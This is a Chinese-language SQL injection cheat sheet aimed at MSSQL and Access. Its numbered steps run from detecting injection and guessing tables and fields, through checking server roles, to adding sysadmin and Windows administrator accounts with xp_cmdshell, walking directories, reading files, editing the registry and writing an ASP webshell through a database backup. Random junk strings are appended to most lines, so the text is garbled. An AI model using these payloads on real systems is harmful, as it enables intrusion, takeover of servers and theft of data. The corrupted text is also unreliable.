1.判断是否有注入;and 1=1 ;and 1=2 i=*H|)
2.初步判断是否是mssql ;and user>0 IdMwpru(
:iLRCK3C
3.注入参数是字符'and [查询条件] and ''=' *];QPi~
,(Ol]W}
4.搜索时没过滤参数的'and [查询条件] and '%25'=' pg!MtuC}
|x.^rx`
5.判断数据库系统 oc]:Ty
ul~6zBKO
;and (select count(*) from sysobjects)>0 mssql H3*]}=
V?'p E
;and (select count(*) from msysobjects)>0 access M>|ZBEK
n$XEazUb0N
:4-,Ru1C"
S-}c_zbl;
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ,*dLE
1pg#@h[|t
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 =PQ4S2Q
3[y$$qXI
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 jl>TZ)4}V
J}[[tl
9.(1)猜字段的ascii值(access) maDWV&Db
9r+'DX?>
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Ww60-d}}Q
(sQXfeMz
(2)猜字段的ascii值(mssql) :*&c'
`"[qb ?z
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 `A%WCd60Tc
tc[z/
10.测试权限结构(mssql) =Gu&0f
c_S~{a44Ud
#;~HoOK*#
6WT3-@d
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- NN2mOJ:-
W6}>iB
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7l$
u.[
9unRMvE u
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- >qOG^{&x
Z'j[N4%BK
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- qEXN}Pq<
Y%kOq`uT=n
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- vpf.0!zh
f,E7eL@
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- De^:9<{jc
[520!JhZY
;and 1=(select IS_MEMBER('db_owner'));-- \eNB L[
~
z3J4s
>W8"Ar
7 s{vou
11.添加mssql和系统的帐户 UO&$1rV
CEI"p2
;exec master.dbo.sp_addlogin username;-- * 30K}&T
;exec master.dbo.sp_password null,username,password;-- (E)hEQ@8
`7w-_o
%
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- aVHIU3
^~-YS-.J#,
;exec master.dbo.xp_cmdshell 'net user username password te2vv]W1
Kcp YHWCa.
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- +|d]\WlJ
[.fh2XrVM
;exec master.dbo.xp_cmdshell 'net user username password /add';-- )dX(0E4Td/
#+l`tj4b/
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ZSK_Lux>
c'tQA
#:0-t!<0C
; veD?|
12.(1)遍历目录 "r_wgl%
J_Tz\bZ3)
;create table dirs(paths varchar(100), id int) w-e{_R
3p&T?E%
;insert dirs exec master.dbo.xp_dirtree 'c:\' C{pOGc@
cjPXrDl{\
;and (select top 1 paths from dirs)>0 z,ERq,g+L
YmaS,Q-
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Nz.X$zUmY
Rr%x;-
)Ln".Bu,
ciN\SA ZY
(2)遍历目录 4>0q0}J=5
0=3)`v{S@
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- X>=`l)ZR
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 p__wBUB
ceE]^X;p
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 c?HUW
^@AyC"K
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -)oUb=Lk{
[ ,Go*r
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 }' AY#g
$U]T8;5Q
CUI+@|]%
NT*r7_e
13.mssql中的存储过程 |K Rt$t
T2<%[AF0
xp_regenumvalues 注册表根键, 子键 :gU5C Um
0GrM:Lh y
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 YPI)^ }
c**&, aL
xp_regread 根键,子键,键值名 y0mNDze
Q l)hIf$Oo
;exec xp_regread i m;6$3
!Yb !Au[
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8i`>],,ch
( ~5M{Xh
xp_regwrite 根键,子键, 值名, 值类型, 值 (?\+
5\b GCf
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 g) oOravV
Mz6(M,hkq
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6EyPZ{
ZK^cG'^2|
xp_regdeletevalue 根键,子键,值名 &}k7iaO
&R<aRE:+R
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 @!f4>iUy
NgGMsE\C}
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 q%dG>!
< v]
p
4>ThpX
70c]|5
14.mssql的backup创建webshell lJu^Bcrv
(4L/I
use model BM,hcTr?
v{a%TA9-
create table cmd(str image); Q!1 ;xw~
WZNq!K H
insert into cmd(str) values (''); f+ceL'fr
8-nf4=ll
backup database model to disk='c:\l.asp'; ~%/Rc`
zg<-%r'$
.
|T=T0^
B]"`}jn
15.mssql内置函数 ^_bG{du
`sCaGCp
;and (select @@version)>0 获得Windows的版本号 ,-y9P
XJ4f;U
;and user_name()='dbo' 判断当前系统的连接用户是不是sa NVv
<vu
YK3>M"58
;and (select user_name())>0 爆当前系统的连接用户 29RP$$gR
DQXUh#t\(]
;and (select db_name())>0 得到当前连接的数据库 ?8V.iHJk
eTx9fxw
ux&"TkEp
W%g*sc*+
16.简洁的webshell I1E9E$m5\<
.Az36wD
use model E?XaU~cpc
! dzgi:
create table cmd(str image); c}o 6Rm50
"17)`Yf
insert into cmd(str) values (''); f)/Z7*Z
OT])t<TF6
backup database model to disk='g:\wwwtest\l.asp';